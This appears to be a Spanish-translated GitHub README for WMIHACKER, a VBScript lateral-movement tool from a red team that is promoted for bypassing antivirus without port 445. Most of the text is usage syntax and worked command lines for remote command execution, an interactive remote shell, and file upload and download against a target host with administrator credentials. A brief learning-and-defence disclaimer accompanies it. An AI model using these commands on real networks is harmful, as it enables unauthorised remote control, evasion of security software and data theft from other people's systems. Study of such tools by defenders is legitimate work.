rootclay/wmihackerUna herramienta de ejecución de comandos de movimiento lateral que evita el software antivirus
Exención de responsabilidad: La tecnología involucrada en este proyecto es solo para fines de aprendizaje y defensa de seguridad, ¡está prohibido su uso ilegal!
Herramienta de prueba de ejecución de comandos de movimiento lateral que evita el software antivirus（No necesita puerto 445）
Introducción: Las herramientas comunes WMIEXEC, PSEXEC ejecutan comandos creando un servicio o llamando a Win32_Process.create; estos métodos han sido interceptados al 100% por el software antivirus, por lo que creamos WMIHACKER (Herramienta de prueba de ejecución de comandos de movimiento lateral que evita el software antivirus（No necesita puerto 445）).
Funciones principales: 1. Ejecución de comandos; 2. Subida de archivos; 3. Descarga de archivos
C:\Users\administrator\Desktop>cscript //nologo WMIHACKER_0.6.vbs
__ ____ __ _____ _ _ _____ _ ________ _____
\ \ / / \/ |_ _| | | | | /\ / ____| |/ / ____| __ \
\ \ /\ / /| \ / | | | | |__| | / \ | | | ' /| |__ | |__) |
\ \/ \/ / | |\/| | | | | __ | / /\ \| | | < | __| | _ /
\ /\ / | | | |_| |_ | | | |/ ____ \ |____| . \| |____| | \ \
\/ \/ |_| |_|_____| |_| |_/_/ \_\_____|_|\_\______|_| \_\
v0.6beta By. Xiangshan@360RedTeam
Usage:
WMIHACKER.vbs /cmd host user pass command GETRES?
WMIHACKER.vbs /shell host user pass
WMIHACKER.vbs /upload host user pass localpath remotepath
WMIHACKER.vbs /download host user pass localpath remotepath
/cmd single command mode
host hostname or IP address
GETRES? Res Need Or Not, Use 1 Or 0
command the command to run on remote host
El resultado se muestra después de ejecutar el comando
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
No se muestran resultados después de ejecutar el comando
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
modo shell
> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
Subida de archivos: copiar el calc.exe local al host remoto c:\calc.exe
> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
Descarga de archivos: descargar el calc.exe del host remoto a c:\calc.exe local
> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
WMIHACKER se ha unido a 404Starlink